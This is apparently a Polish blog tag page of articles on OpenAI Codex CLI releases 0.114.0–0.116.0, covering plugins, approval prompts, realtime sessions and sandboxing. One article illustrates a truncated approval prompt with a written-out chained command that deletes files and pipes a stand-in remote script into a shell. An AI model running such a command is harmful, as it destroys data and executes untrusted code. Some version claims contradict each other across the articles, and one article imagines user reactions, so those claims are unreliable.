Tag: codex

  • Codex 0.116.0: Rozbudowany TUI, Usprawnione Zarządzanie Wtyczkami i Lepsze Sesje Realtime

    Codex 0.116.0: Rozbudowany TUI, Usprawnione Zarządzanie Wtyczkami i Lepsze Sesje Realtime

    Najnowsza wersja Codex, oznaczona numerem 0.116.0, przynosi istotne usprawnienia, które mają ułatwić pracę programistom. Wydanie koncentruje się na poprawie komfortu pracy z interfejsem tekstowym serwera aplikacji (app-server TUI), wprowadzeniu wtyczek jako funkcjonalności pierwszej klasy oraz zwiększeniu stabilności kluczowych komponentów, takich jak sesje realtime. To solidna aktualizacja, która naprawia też kilka uciążliwych błędów.

    Wtyczki stają się funkcjonalnością pierwszej klasy

    Jedną z najważniejszych zmian w Codex 0.116.0 jest potraktowanie wtyczek jako podstawowego elementu workflow. To duża różnica w porównaniu do wcześniejszych, bardziej eksperymentalnych implementacji.

    Teraz system może automatycznie synchronizować wtyczki przypisane do danego produktu już przy starcie. Użytkownicy mają też dostęp do przeglądarki wtyczek pod adresem /plugins, co znacznie ułatwia ich odkrywanie. Sam proces instalacji i usuwania został uproszczony – jeśli brakuje wymaganej wtyczki lub konektora, Codex poinformuje o tym i zaproponuje instalację. Cały cykl życia wtyczki, w tym procesy uwierzytelniania i konfiguracji, jest teraz obsługiwany w bardziej przejrzysty sposób.

    Ulepszony interfejs App-Server i logowanie

    Wydanie 0.116.0 mocno stawia na usprawnienie pierwszego kontaktu z narzędziem poprzez app-server TUI. Kluczową nowością jest wsparcie dla logowania do ChatGPT za pomocą device code. Ta metoda uwierzytelniania, znana z innych narzędzi deweloperskich, jest często wygodniejsza niż wpisywanie haseł, szczególnie w środowiskach terminalowych.

    Dodano też nowy hook o nazwie userpromptsubmit. Pozwala on na przechwycenie, zablokowanie lub zmodyfikowanie promptu użytkownika, zanim zostanie on wykonany i trafi do historii rozmowy. To potężne narzędzie dla osób, które chcą mieć większą kontrolę nad interakcją z modelem.

    Stabilniejsze i bardziej funkcjonalne sesje realtime

    Praca w trybie rzeczywistym (realtime) zyskała na jakości. Zaimplementowano dedykowany tryb transkrypcji dla sesji realtime, co powinno poprawić obsługę audio. Usprawniono również logikę zamykania sesji oraz sposób radzenia sobie z przerwaniem strumienia audio w sesjach v2.

    Poprawki objęły też kontekst wątków. Dzięki lepszemu zarządzaniu historią konwersacji i naprawieniu błędu z ponownym pojawianiem się zarchiwizowanych, przypiętych wątków w panelu bocznym, nawigacja między projektami stała się bardziej przewidywalna.

    Kluczowe poprawki i usprawnienia infrastrukturalne

    Pod maską również zaszło sporo zmian. Wyeliminowano kilka krytycznych problemów, które mogły irytować użytkowników. Naprawiono blokady podczas uruchamiania (startup stalls), które potrafiły unieruchomić aplikację.

    Dla użytkowników Linuksa istotna jest poprawka dotycząca sandboxa. Codex 0.116.0 preferuje teraz systemowy /usr/bin/bwrap, jeśli jest on dostępny, co zwiększa niezawodność uruchamiania narzędzi w izolowanym środowisku na starszych dystrybucjach. W systemie Windows poprawiono problemy z obsługą skrótów klawiaturowych do kopiowania i wklejania w terminalu.

    Podsumowanie

    Codex 0.116.0 to wydanie, które stawia na dojrzałość i wygodę użytkowania. Wprowadzenie wtyczek jako podstawowego elementu workflow, wraz z intuicyjnym menedżerem, otwiera nowe możliwości rozszerzania funkcjonalności. Usprawnienia w interfejsie app-server TUI, szczególnie łatwiejsze logowanie i nowy hook do kontroli promptów, bezpośrednio przekładają się na płynność pracy. Połączenie tych nowości z pakietem istotnych poprawek stabilizujących sandbox, sesje realtime i historię rozmów sprawia, że jest to bardzo wartościowa aktualizacja dla każdego dewelopera korzystającego z Codex.


    Źródła

  • OpenAI Codex CLI 0.115.0 wprowadza błędne prośby o zatwierdzenie wśród nowych funkcji

    OpenAI Codex CLI 0.115.0 wprowadza błędne prośby o zatwierdzenie wśród nowych funkcji

    Ostatnia aktualizacja narzędzia CLI OpenAI Codex, wersja 0.115.0, miała być krokiem naprzód. Użytkownicy spodziewali się płynniejszego logowania i lepszego zarządzania wtyczkami. Zamiast tego wielu z nich zetknęło się z irytującym regresem: wszechobecnymi, często błędnymi prośbami o zatwierdzenie (approval prompts) niemal każdego polecenia. Ta usterka postawiła pod znakiem zapytania praktyczność nowych funkcji i podkreśliła wyzwania związane z zachowaniem równowagi między bezpieczeństwem a płynnością pracy.

    Nowe funkcje kontra stary problem: regresja w prośbach o zatwierdzenie

    Wersja 0.115.0 CLI faktycznie przyniosła kilka oczekiwanych usprawnień. Jednym z nich jest wsparcie dla logowania przez device code do ChatGPT, co ma uprościć proces uwierzytelniania. Kolejna nowość to płynniejsza konfiguracja wtyczek – system może teraz sam podpowiadać ich instalację. Dodano także hook userpromptsubmit, który pozwala deweloperom na blokowanie lub modyfikację promptów przed ich wykonaniem.

    Problem w tym, że aby w ogóle skorzystać z tych nowości, użytkownicy musieli najpierw przebrnąć przez ścianę pytań o zgodę. Jak zgłaszali deweloperzy, CLI nagle zaczęło domagać się zatwierdzenia rutynowych, podstawowych poleceń systemowych, takich jak find, ls czy sed. To komendy, które w poprzednich wersjach wykonywały się w tle, bez ingerencji użytkownika. Nagła zmiana to klasyczny przykład regresji – sytuacja, w której wprowadzenie nowego kodu psuje istniejącą, działającą funkcjonalność.

    Sytuacja była na tyle uciążliwa, że niektórzy użytkownicy celowo wracali do starszej, stabilnej wersji, aby odzyskać produktywność. Co gorsza, problem nie został naprawiony od razu i przeniósł się nawet do następnego wydania. Pokazuje to, jak trudno czasem wyeliminować nieoczekiwane konsekwencje zmian w kodzie.

    Poważniejsza wada: niepełne informacje w interfejsie zatwierdzania

    Sam fakt częstych pytań mógłby być jedynie irytujący. Okazało się jednak, że mechanizm zatwierdzania w wersji 0.115.0 ma poważniejszą, potencjalnie niebezpieczną wadę. Interfejs pokazywał użytkownikowi do recenzji tylko początkową część polecenia. Szczególnie problematyczne okazywało się to w przypadku poleceń łączonych za pomocą operatora &&.

    Wyobraźmy sobie sytuację: Codex prosi o zatwierdzenie wykonania cd katalog. Użytkownik, widząc tylko tę nieszkodliwą komendę, wyraża zgodę. Tymczasem w tle, niewidoczne w oknie zatwierdzenia, czekało pełne, złożone polecenie, np. cd katalog && rm -rf ./* && curl http://niebezpieczny-url.pl | sh. Użytkownik w dobrej wierze zatwierdzał prostą operację, nie mając pojęcia, co tak naprawdę zostanie uruchomione.

    Jako obejście sugerowano… unikanie zatwierdzania poleceń, których nie można w pełni przejrzeć. To rozwiązanie przerzuca odpowiedzialność za bezpieczeństwo na użytkownika, nie naprawiając podstawowej usterki interfejsu.

    Wpływ na użytkowników i adopcję nowych funkcji

    Wpływ na użytkowników i adopcję nowych funkcji

    Połączenie tych dwóch problemów – częstych próśb i niepełnych informacji – stworzyło wyjątkowo frustrujące środowisko pracy. Główny cel aktualizacji, czyli wprowadzenie nowych, użytecznych funkcji, został skutecznie przyćmiony. Użytkownik chcący przetestować nowy flow logowania czy zarządzania wtyczkami musiał w kółko klikać „zatwierdź”, często działając po omacku, bo nie widział pełnej treści polecenia.

    Ta regresja uderza w samą istotę narzędzi takich jak Codex CLI, które mają przyspieszać i automatyzować pracę dewelopera. Zamiast płynnej współpracy z AI, użytkownik otrzymywał ciągłe przerwy w pracy, zmuszony do ręcznej interwencji przy każdej, nawet najprostszej operacji. Jeden z użytkowników zgłosił, że problemy z zatwierdzaniem zmusiły go do skomplikowanych zmian w workflow i wzmocniły obawy o stabilność całego narzędzia Codex.

    Dla OpenAI to cenna, choć bolesna lekcja. Wprowadzanie nowych zabezpieczeń i funkcji musi iść w parze z dbałością o podstawową ergonomię. Jeśli nowy system zatwierdzania jest tak uciążliwy, że użytkownicy masowo wracają do starszej wersji, to znak, że równowaga między bezpieczeństwem a wygodą została zachwiana.

    Perspektywy naprawy i wnioski na przyszłość

    Perspektywy naprawy i wnioski na przyszłość

    Późniejsze aktualizacje zaczęły adresować te problemy. Poprawki obejmowały m.in. zapewnienie, że raz nadane uprawnienia są trwałe pomiędzy kolejnymi krokami (tzw. turns) oraz że system poprawnie działa z konfiguracjami opartymi na odrzuceniu (reject-style). To pokazuje, że zespół był świadomy problemu i pracował nad jego rozwiązaniem.

    Kluczowy wniosek z tej sytuacji dotyczy procesu wdrażania. Nowe funkcje, nawet te najbardziej obiecujące, muszą być testowane w realnych warunkach pod kątem ich wpływu na całościowe User Experience. Mechanizm zatwierdzania, który ma chronić, nie może być jednocześnie tak wadliwy, że wprowadza nowe ryzyko przez brak przejrzystości.

    Dla społeczności deweloperów używających Codex CLI to też przypomnienie o zachowaniu ostrożności. Korzystanie z wersji nightly czy świeżo wydanych aktualizacji, zwłaszcza w przypadku kluczowych narzędzi, zawsze wiąże się z ryzykiem. Czasem kilka dni zwłoki z aktualizacją, by poczekać na pierwsze opinie społeczności, może zaoszczędzić wiele godzin frustracji.

    Podsumowanie

    Historia wersji 0.115.0 OpenAI Codex CLI to studium przypadku na temat wyzwań w rozwoju złożonego oprogramowania. Z jednej strony mamy ewidentny postęp: lepsze uwierzytelnianie, sprytniejsze zarządzanie wtyczkami, nowe hooki dla deweloperów. Z drugiej – poważny krok w tył w fundamentalnej kwestii interakcji z użytkownikiem.

    Usterka z zatwierdzaniem poleceń nie tylko uprzykrzała życie, ale wręcz podważała zaufanie do systemu, obnażając jego potencjalnie niebezpieczną wadę. Naprawienie tego wymagało nie tylko poprawki technicznej, ale i przywrócenia poczucia kontroli oraz przejrzystości dla osób pracujących w terminalu. Ostatecznie sukces takich narzędzi nie zależy wyłącznie od ich możliwości, ale od tego, jak płynnie i bezpiecznie wpisują się w codzienną pracę. Wersja 0.115.0, przynajmniej na początku, tę płynność skutecznie zablokowała.

  • Codex 0.115.0 ugina się pod ciężarem poważnego błędu, podczas gdy AI Agents rozpalają wyobraźnię

    Codex 0.115.0 ugina się pod ciężarem poważnego błędu, podczas gdy AI Agents rozpalają wyobraźnię

    Świat narzędzi dla programistów napędzanych sztuczną inteligencją to często huśtawka emocji. Z jednej strony mamy zapowiedzi funkcji, które brzmią jak science fiction, a z drugiej – prozaiczne, ale dotkliwe błędy, które potrafią zatrzymać pracę. Dokładnie taki scenariusz rozgrywa się właśnie wokół Codexa, gdzie entuzjazm dla nowych, eksperymentalnych zdolności agentowych zderzył się z frustrującą regresją w wersji 0.116.0.

    Kluczowy problem dotyczy wersji 0.116.0. To właśnie ten release wprowadził poważny błąd, który szczególnie dotknął użytkowników pracujących na systemie Debian 12. W praktyce oznaczało to, że po aktualizacji Codex po prostu przestawał działać poprawnie. Reakcja społeczności była natychmiastowa i jednoznaczna.

    Dla wielu deweloperów sprawdzonym rozwiązaniem awaryjnym okazało się natychmiastowe przywrócenie poprzedniej wersji – 0.115.0. Ten prosty manewr, czyli downgrade, przywracał pełną funkcjonalność, co tylko podkreślało, że problem leży po stronie nowego kodu. Taka sytuacja stawia twórców Codexa w trudnym położeniu. Z jednej strony chcą dostarczać innowacje, a z drugiej muszą zapewniać stabilność, która jest absolutnie kluczowa dla profesjonalistów integrujących te narzędzia w swoje codzienne workflow.

    Nowe możliwości AI Agents – dlaczego warto było czekać?

    Ironią losu jest to, że wydanie 0.116.0, które przyniosło krytycznego buga, oznaczało też oficjalne, choć ostrożne, udostępnienie najbardziej ekscytujących funkcji. W oficjalnych release notes kilka kluczowych komponentów zostało wyraźnie oznaczonych jako experimental.

    Na czoło wysuwają się AI Agents. To właśnie one generują największy buzz, bo obiecują przejście od biernego asystowania do aktywnego wykonywania zadań. Wyobraź sobie, że zamiast tylko sugerować fragment kodu, agent mógłby samodzielnie przeszukać dokumentację, uruchomić testy, a nawet zrefaktoryzować wybrany moduł zgodnie z nowymi wytycznymi. To zmiana paradygmatu.

    Poza agentami status experimental otrzymały też inne nowości. MCP command group (Model Context Protocol) to framework mający ustandaryzować sposób, w jaki narzędzia AI komunikują się z innymi częściami ekosystemu deweloperskiego. Code mode prawdopodobnie skupia się na czysto programistycznych zadaniach, wyłączając rozpraszające elementy. Zaś hooks engine sugeruje wprowadzenie mechanizmów pozwalających na wpinanie własnej logiki w działanie Codexa, co otwiera drogę do zaawansowanej personalizacji.

    To właśnie ta dysproporcja między obietnicą a rzeczywistością tak frustruje społeczność. Ludzie czytają o agentach, którzy mogą zrewolucjonizować ich pracę, a w praktyce muszą walczyć z niedziałającą instalacją.

    Reakcje społeczności – mieszanka zachwytu i rozczarowania

    Chociaż wyniki wyszukiwania nie dostarczają bezpośrednich cytatów z forów, łatwo można wyobrazić sobie podzielone nastroje wśród deweloperów. Tego typu sytuacje zawsze generują żywiołowe dyskusje na platformach takich jak GitHub, Reddit czy X (Twitter).

    Po jednej stronie barykady stoją entuzjaści, którzy z wypiekami na twarzy testują nowe, eksperymentalne flagi. Dla nich każda nowa możliwość, każdy dodatkowy parametr API agenta, to okazja do eksperymentów i budowania prototypów przyszłych workflow. Ich dyskusje krążą wokół potencjału, ograniczeń context window dla agentów i tego, jak można by zautomatyzować nudne, powtarzalne zadania.

    Po drugiej stronie są praktycy, dla których Codex jest po prostu narzędziem pracy. Dla nich błąd uniemożliwiający działanie na Debianie 12 to nie ciekawostka, a realny problem, który opóźnia projekty, burzy harmonogramy i zmusza do szukania obejść. Ich głos w dyskusjach jest bardziej stanowczy: „Najpierw stabilność, potem nowości”. Dla zespołów wdrażających Codexa w korporacjach taka niestabilność to czerwona flaga, która może opóźnić lub nawet wstrzymać wewnętrzne procesy akceptacyjne dla szerszego wdrożenia.

    Ciekawe jest też rozwiązanie, na które masowo się zdecydowali: downgrade do 0.115.0. To wymowny sygnał dla twórców. Mówi jasno, że nawet najbardziej zaawansowane funkcje nie są warte utraty podstawowej niezawodności aplikacji. Społeczność głosowała nogami, a raczej komendami w terminalu, wybierając sprawdzoną stabilność.

    Wyzwanie dla twórców Codexa – balans między innowacją a stabilnością

    Wyzwanie dla twórców Codexa – balans między innowacją a stabilnością

    Ta sytuacja to klasyczny dylemat w rozwoju oprogramowania, szczególnie w tak dynamicznej i konkurencyjnej przestrzeni jak AI dla programistów. Z jednej strony presja na wprowadzanie przełomowych funkcji jest ogromna. Rynek narzędzi takich jak Cursor, Zed czy Windsurf nie śpi, a koncepcja vibe coding i coraz inteligentniejszych asystentów staje się standardem.

    Z drugiej strony każda poważna usterka naraża reputację. Deweloperzy są wyrozumiali dla drobnych błędów w nightly builds czy release candidates, ale w stabilnym wydaniu głównego narzędzia pracy oczekują solidności. Błąd uniemożliwiający działanie na popularnej dystrybucji Linuksa (Debian 12) jest właśnie tego rodzaju.

    Oznaczenie nowych funkcji jako experimental to rozsądny krok, który oddziela mniej stabilne nowości od sprawdzonego rdzenia aplikacji. Problem w tym, że jeśli sama podstawowa aplikacja wraz z nowym wydaniem przestaje działać, to nawet najciekawsze eksperymenty trafiają w próżnię. Kluczowe pytanie brzmi: czy proces testowania, szczególnie pod kątem różnych systemów operacyjnych, został odpowiednio przeprowadzony przed wypuszczeniem wersji 0.116.0?

    Wnioski – czego nauczyła nas ta sytuacja?

    Przypadek Codexa 0.116.0 to więcej niż zwykła informacja o błędzie. To studium przypadku tego, jak rozwija się nowoczesne oprogramowanie deweloperskie w erze AI. Po pierwsze, pokazuje absolutny prymat stabilności. Nawet najbardziej zaawansowany agent AI jest bezużyteczny, jeśli podstawowe IDE czy plugin nie uruchamia się poprawnie. Społeczność błyskawicznie to zweryfikowała, masowo wracając do poprzedniej wersji.

    Po drugie, ujawnia prawdziwy głód inteligentnej automatyzacji. Sam fakt, że tak wiele rozmów toczy się wokół potencjału AI Agents mimo istnienia krytycznego buga, świadczy o ogromnych oczekiwaniach. Deweloperzy są gotowi na kolejny krok: od asystenta, który podpowiada kod, do aktywnego uczestnika procesu, który może samodzielnie wykonać konkretne zadanie.

    Ostatecznie sytuacja ta postawiła zespół Codexa przed poważnym wyzwaniem komunikacyjnym i technicznym. Szybkie wydanie poprawki lub szczegółowe wyjaśnienie problemu z Debianem 12 było kluczowe dla odbudowy zaufania. Jednocześnie muszą oni kontynuować pracę nad agentami i innymi eksperymentalnymi funkcjami, bo rynek nie zwalnia tempa.

    Paradoksalnie ten incydent może wyjść projektowi na dobre. Wyraźnie oddzielił grupę użytkowników potrzebujących najwyższej stabilności od pionierów chętnych testować nowe możliwości. Umiejętne zarządzanie tymi dwiema ścieżkami rozwoju może być kluczem do długoterminowego sukcesu Codexa w wyścigu narzędzi AI dla programistów.

  • OpenAI Codex CLI zyskuje oczy: głęboka inspekcja obrazów, transkrypcja w czasie rzeczywistym i twardy security

    OpenAI Codex CLI zyskuje oczy: głęboka inspekcja obrazów, transkrypcja w czasie rzeczywistym i twardy security

    Ostatnie aktualizacje pakietu @openai/codex to coś więcej niż zwykłe poprawki błędów. To zestaw ulepszeń wzmacniających jego rolę jako zaawansowanego asystenta kodowania, ze szczególnym naciskiem na bezpieczniejsze i bardziej niezawodne działanie w zautomatyzowanych środowiskach. Brzmi poważnie, bo takie właśnie jest.

    Główny obszar rozwoju koncentruje się na mechanizmach chroniących agenta działającego w krytycznych środowiskach CI/CD. Chodzi o zaostrzenie polityk bezpieczeństwa wykonania (execution security policies), które minimalizują ryzyko podczas automatycznego uruchamiania narzędzi i skryptów.

    Jak działają nowe funkcje bezpieczeństwa w praktyce

    Aktualizacje wprowadzają ulepszenia w obszarze „merged sandbox policies” oraz „safer tool runs”. Gdy pakiet @openai/codex działa jako agent w potokach CI/CD, na przykład w runnerach GitLaba, musi być nie tylko użyteczny, ale przede wszystkim odporny i bezpieczny. Nowe funkcje zaprojektowano właśnie z myślą o takich scenariuszach.

    Mechanizmy te obejmują m.in. „URL hardening”, który zwiększa bezpieczeństwo operacji związanych z adresami internetowymi. Chociaż rozwiązanie to nie generuje szczegółowych raportów bezpieczeństwa w formacie JSON ani nie skanuje automatycznie kodu pod kątem konkretnych podatności, takich jak CVE czy SSRF, tworzy solidniejszą podstawę do bezpiecznego wykonywania zadań. Ogranicza potencjalne wektory ataku, które mogłyby wynikać z automatycznego przetwarzania niepewnych danych wejściowych.

    To głębsze podejście do bezpieczeństwa wykonania pomaga zabezpieczyć agenta przed nieoczekiwanymi interakcjami, które mogłyby zagrozić stabilności środowiska CI/CD lub bezpieczeństwu kodu.

    Wdrażanie i integracja z istniejącymi narzędziami

    Wdrażanie i integracja z istniejącymi narzędziami

    Instalacja najnowszej wersji obejmującej te ulepszenia jest standardowa: npm install -g @openai/codex@latest. W środowiskach efemerycznych, takich jak kontenery CI, kluczowe staje się odpowiednie zarządzanie uprawnieniami i dostępem do plików. Rozwiązaniem są allowlisty – jawne zezwolenia na to, które pliki i katalogi agent może odczytywać lub modyfikować. Zabezpiecza to system przed przypadkową lub złośliwą ingerencją poza wydzielonym obszarem roboczym.

    Integracja z istniejącymi workflowami deweloperskimi pozostaje priorytetem. Pakiet działa jako potężne narzędzie CLI, które można włączyć do różnych etapów tworzenia oprogramowania – od generowania kodu po jego analizę – zawsze z uwzględnieniem wzmocnionych zasad bezpieczeństwa wykonania.

    Podsumowanie: @openai/codex jako niezawodny asystent w automatyzacji

    Te aktualizacje wzmacniają fundamentalne cechy pakietu. @openai/codex utwierdza swoją pozycję zaawansowanego, tekstowego asystenta kodowania, zdolnego do generowania i analizowania kodu na podstawie instrukcji dewelopera.

    Jednocześnie, dzięki zaostrzeniu polityk bezpieczeństwa i zwiększeniu odporności na niepewne dane wejściowe, staje się bardziej godnym zaufania ogniwem w zautomatyzowanych procesach wytwarzania oprogramowania. Połączenie zaawansowanych możliwości generowania kodu z „pancerzem” chroniącym przed nieprzewidzianymi problemami w CI/CD sprawia, że @openai/codex staje się niezawodnym komponentem platformy do programowania wspomaganego przez AI – platformy, która działa odpowiedzialnie i bezpiecznie.

  • OpenAI Codex 0.115.0: Pełna kontrola nad agentami i nowa inspekcja wizualna

    OpenAI Codex 0.115.0: Pełna kontrola nad agentami i nowa inspekcja wizualna

    Marzec 2026 przyniósł ważną aktualizację dla programistów korzystających z zaawansowanych systemów AI. OpenAI wydało Codex w wersji 0.115.0, skupiając się na dwóch kluczowych obszarach: lepszej kontroli nad zespołem agentów i rozszerzeniu możliwości wizualnych. To nie są kosmetyczne poprawki, lecz znaczące ulepszenia fundamentów platformy, która już teraz zdążyła zmienić podejście do tzw. agentowego kodowania (agentic coding).

    Wydanie przynosi pełną inspekcję obrazów w wysokiej rozdzielczości, inteligentniejsze procesy zatwierdzania zmian oraz nowy Python SDK do pracy z systemem plików. Dla użytkowników oznacza to płynniejszą, bardziej wydajną i po prostu sprawniejszą współpracę z AI.

    Inspekcja wizualna w pełnej rozdzielczości

    Jedną z najbardziej wyczekiwanych nowości jest pełna obsługa obrazów. Do tej pory analiza elementów wizualnych w workflow Codexa mogła mieć ograniczenia. Wersja 0.115.0 wprowadza natywne wsparcie dla funkcji view_image oraz codex.emitImage, pozwalając agentom na szczegółowe przeglądanie i analizę grafiki w wysokiej rozdzielczości.

    To ważne ulepszenie dla każdego, kto pracuje nad interfejsami użytkownika, grafiką generatywną czy aplikacjami przetwarzającymi materiały wizualne. Agent może teraz dokładnie „przyjrzeć się” mockupowi, diagramowi architektonicznemu czy zrzutowi ekranu i na tej podstawie podjąć trafniejsze decyzje dotyczące kodu lub sugerowanych zmian.

    Smart Approvals: Strażnicy bezpiecznego kodu

    Najciekawszym elementem nowej wersji jest system Smart Approvals. To rozwiązanie problemu, który pojawia się przy pracy z wieloma agentami działającymi równolegle – kwestii tego, kto i jak zatwierdza ich propozycje.

    OpenAI wprowadza koncepcję „subagentów-strażników” (guardian subagents). Ich rolą jest usprawnienie procesów code review. Zamiast ręcznego zatwierdzania każdej zmiany, deweloper może skonfigurować przepływ, w którym pewne typy modyfikacji – na przykład zmiany w kluczowych plikach konfiguracyjnych czy wrażliwych fragmentach kodu – są automatycznie kierowane do dedykowanego agenta-strażnika. Dokonuje on wstępnej weryfikacji przed przedstawieniem propozycji człowiekowi.

    Co ważne, poprawiono też dziedziczenie reguł piaskownicy (sandbox) dla subagentów, co zwiększa bezpieczeństwo całego systemu. Narzędzie wait_agent zostało również przemianowane dla zachowania spójności z spawn_agent i send_input.

    Nowy Python SDK i ulepszone sesje WebSocket

    Nowy Python SDK i ulepszone sesje WebSocket

    Dla deweloperów stawiających na automatyzację i integracje, nowy Python SDK do filesystem RPCs w wersji 2 to spora wygoda. Umożliwia on programowe wykonywanie operacji na plikach bezpośrednio z poziomu skryptów Pythona, co otwiera drogę do tworzenia zaawansowanych, zautomatyzowanych pipeline'ów z Codexem w roli głównej.

    Równolegle ulepszono sesje komunikacji w czasie rzeczywistym przez WebSocket. Dodano dedykowany tryb transkrypcji, ujednolicono konfigurację sesji pod kluczem [realtime] oraz wprowadzono możliwość płynnego przekazania sesji (handoff) w wersji 2 za pomocą narzędzia codex. To wszystko sprawia, że praca interaktywna z agentem staje się szybsza i mniej podatna na problemy z połączeniem.

    Ulepszenia dla deweloperów: JS REPL, TUI i integracje

    W codziennej pracy przydadzą się też mniejsze, ale istotne ulepszenia. Środowisko JS REPL (Read-Eval-Print Loop) zostało wzbogacone o dostęp do codex.cwd i codex.homeDir, a referencje do codex.tool(...) oraz codex.emitImage(...) są teraz trwale zachowywane między komórkami kodu. Pozwala to na budowanie bardziej złożonych i interaktywnych skryptów.

    Poprawiono także wydajność tekstowego interfejsu użytkownika (TUI) oraz samego JS REPL. Wprowadzono nowy przepływ wyszukiwania narzędzi (tool-search flow) w integracjach aplikacji, co ułatwia odkrywanie funkcjonalności. Współpraca z MCP (Model Context Protocol) i elicitation jest teraz bardziej odporna na błędy, a lokalne proxy lepiej obsługuje połączenia HTTP/1 CONNECT.

    Instalacja i środowisko wykonawcze

    Instalacja i środowisko wykonawcze

    Aktualizację do wersji 0.115.0 można zainstalować standardowo przez npm, komendą:

    $ npm install -g @openai/[email protected]

    Warto pamiętać, że Codex jest zoptymalizowany pod kątem pracy z zaawansowanymi modelami agentowymi OpenAI, takimi jak GPT-5.3-Codex (o oknie kontekstowym 272K tokenów) czy GPT-5.4 (aż 1M tokenów). Te modele, w przeciwieństwie do swoich wersji w ChatGPT, są specjalnie dostrojone do długich, wieloetapowych zadań programistycznych w środowisku CLI, aplikacji desktopowej czy rozszerzeń IDE.

    Pod maską Codex opiera się na solidnych fundamentach: plikach konfiguracyjnych config.toml, systemie piaskownic i zatwierdzeń, dokumentacji AGENTS.md oraz protokole MCP. Bezpieczeństwo na poziomie systemu operacyjnego zapewniają mechanizmy takie jak Seatbelt na macOS czy Landlock i seccomp na Linuxie.

    W kierunku stabilnej platformy agentowej

    Wydanie 0.115.0 to nie tylko nowe funkcje, ale także zestaw poprawek stabilizujących platformę. Przywrócono poprawne działanie codex exec --profile w zakresie przywracania ustawień profilu. Usprawniono normalizację nazw narzędzi w MCP, co zwiększa bezpieczeństwo, oraz zachowywanie parametrów tool_params w promptach. To drobne, ale istotne zmiany, które składają się na bardziej przewidywalne i niezawodne środowisko.

    Ta aktualizacja wpisuje się w szybki cykl rozwoju Codexa. Zaraz po niej, 20 marca, ukazała się wersja 0.116.0 z logowaniem przez kod urządzenia do ChatGPT, ulepszeniami pluginów i hookami na prompty użytkownika. Widać wyraźnie, że OpenAI traktuje Codex jako strategiczną platformę dla przyszłości programowania wspomaganego przez AI.

    Podsumowanie

    Codex v0.115.0 to krok w kierunku dojrzałej platformy do orkiestracji agentów AI. Nie chodzi już tylko o to, by AI napisało fragment kodu, ale o zarządzanie zespołem wyspecjalizowanych agentów, którzy bezpiecznie i pod nadzorem człowieka mogą realizować złożone zadania.

    Wprowadzenie Smart Approvals z guardian subagents, pełna inspekcja wizualna oraz nowy Python SDK to odpowiedź na realne potrzeby deweloperów wchodzących w erę programowania agentowego. Poprawki wydajnościowe i stabilizacyjne cementują pozycję Codexa jako profesjonalnego narzędzia. Wygląda na to, że centrum dowodzenia dla AI w software developmencie właśnie otrzymało potężny upgrade.

  • Codex 0.115.0: pełna inspekcja obrazów, transkrypcje na żywo i zaawansowane API

    Codex 0.115.0: pełna inspekcja obrazów, transkrypcje na żywo i zaawansowane API

    Najnowsze aktualizacje Codex, autonomicznego agenta AI do kodowania i automatyzacji od OpenAI, wprowadzają szereg znaczących ulepszeń, które mogą zmienić sposób pracy deweloperów. Najważniejsze nowości skupiają się na integracjach, narzędziach CLI/SDK oraz stabilności codziennych workflowów. To nie tylko rozwój funkcjonalności, ale też solidna porcja usprawnień technicznych.

    Integracje z narzędziami designerskimi i komunikacyjnymi

    Jednym z kluczowych obszarów rozwoju są integracje z popularnymi platformami, takimi jak Figma. Pozwala to deweloperom i designerom na płynną współpracę, w której Codex może asystować przy analizie interfejsów użytkownika (UI) i flow projektowych bezpośrednio w znanych narzędziach. Podobne integracje z platformami komunikacyjnymi, takimi jak Slack, umożliwiają włączanie automatyzacji do codziennej komunikacji zespołowej.

    Te połączenia wskazują na ewolucję Codex z narzędzia stricte programistycznego w stronę platformy automatyzacji procesów deweloperskich i projektowych, działającej w kontekście istniejących aplikacji.

    Rozwój CLI, SDK i środowiska deweloperskiego

    Codex oferuje rozbudowane narzędzia wiersza poleceń (CLI) oraz SDK (głównie w TypeScript), które stanowią podstawę interakcji z agentem. Środowisko to jest stale rozwijane, aby zapewnić programistom potężne i elastyczne możliwości automatyzacji.

    Funkcjonalności obejmują zaawansowane zarządzanie wykonywaniem poleceń ze wsparciem dla streamingu stdin/stdout/stderr oraz TTY/PTY. Dla deweloperów pracujących z terminalami i kontenerami to istotne usprawnienie, które pozwala na lepszą integrację z istniejącym ekosystemem. SDK pozwala programistom łatwo integrować operacje Codexa z ich własnym kodem, zapewniając kontrolowany dostęp do automatyzacji.

    Stabilność i bezpieczeństwo automatyzacji

    Każda duża aktualizacja przynosi też poprawki stabilności i bezpieczeństwa, kluczowe dla zautomatyzowanych workflowów.

    Ulepszenia dotyczą bezpieczeństwa i izolacji podczas uruchamiania zautomatyzowanych agentów i subagentów, co stanowi fundament zaufania do platformy. Poprawki w obszarze routingu i normalizacji wewnętrznych procesów zmniejszają ryzyko błędów przy złożonych automatyzacjach.

    Warto też zauważyć zwiększoną transparentność działań agenta – użytkownik ma lepszy wgląd w to, jakie operacje i z jakimi parametrami zostaną wykonane, zanim wyrazi na nie zgodę.

    Ekosystem rozszerzeń i workflow deweloperów

    Rozwój nie ominął też ekosystemu rozszerzeń. Wprowadzane są lepsze integracje aplikacji oraz ulepszone workflowy dla pluginów.

    Dla deweloperów oznacza to łatwiejsze znajdowanie i włączanie potrzebnych funkcjonalności do projektów, choć obecnie odbywa się to raczej przez bezpośrednie integracje niż scentralizowany marketplace. Dbałość o odpowiednie uprawnienia i weryfikację źródeł pluginów podczas instalacji redukuje ryzyko naruszenia bezpieczeństwa i ułatwia zarządzanie zależnościami.

    Wnioski

    Najnowsze aktualizacje Codex idą w dwóch kierunkach: poszerzają konkretne możliwości integracyjne z kluczowymi narzędziami deweloperskimi oraz solidnie wzmacniają istniejącą bazę, zwiększając stabilność, bezpieczeństwo i ergonomię pracy.

    Dla deweloperów codziennie korzystających z automatyzacji poprawki w wykonywaniu poleceń i bezpieczeństwie będą najbardziej odczuwalne w bieżącej pracy. Dla osób budujących bardziej złożone systemy rozwinięte SDK i integracje otwierają nowe możliwości włączania AI do szerszych procesów.

    OpenAI rozwija Codex nie tylko jako asystenta kodowania, ale jako platformę do zaawansowanej automatyzacji developer workflow. Rozwój skupia się zarówno na głębi (zaawansowane SDK, integracje), jak i na szerokości (poprawki stabilności, ulepszenia UX). To dobry kierunek dla wszystkich, którzy oczekują spójnego i bezpiecznego środowiska do automatyzacji całych procesów wytwarzania oprogramowania.

  • Codex 0.114.0: lepsza izolacja, haki i usprawnienia workflow

    Codex 0.114.0: lepsza izolacja, haki i usprawnienia workflow

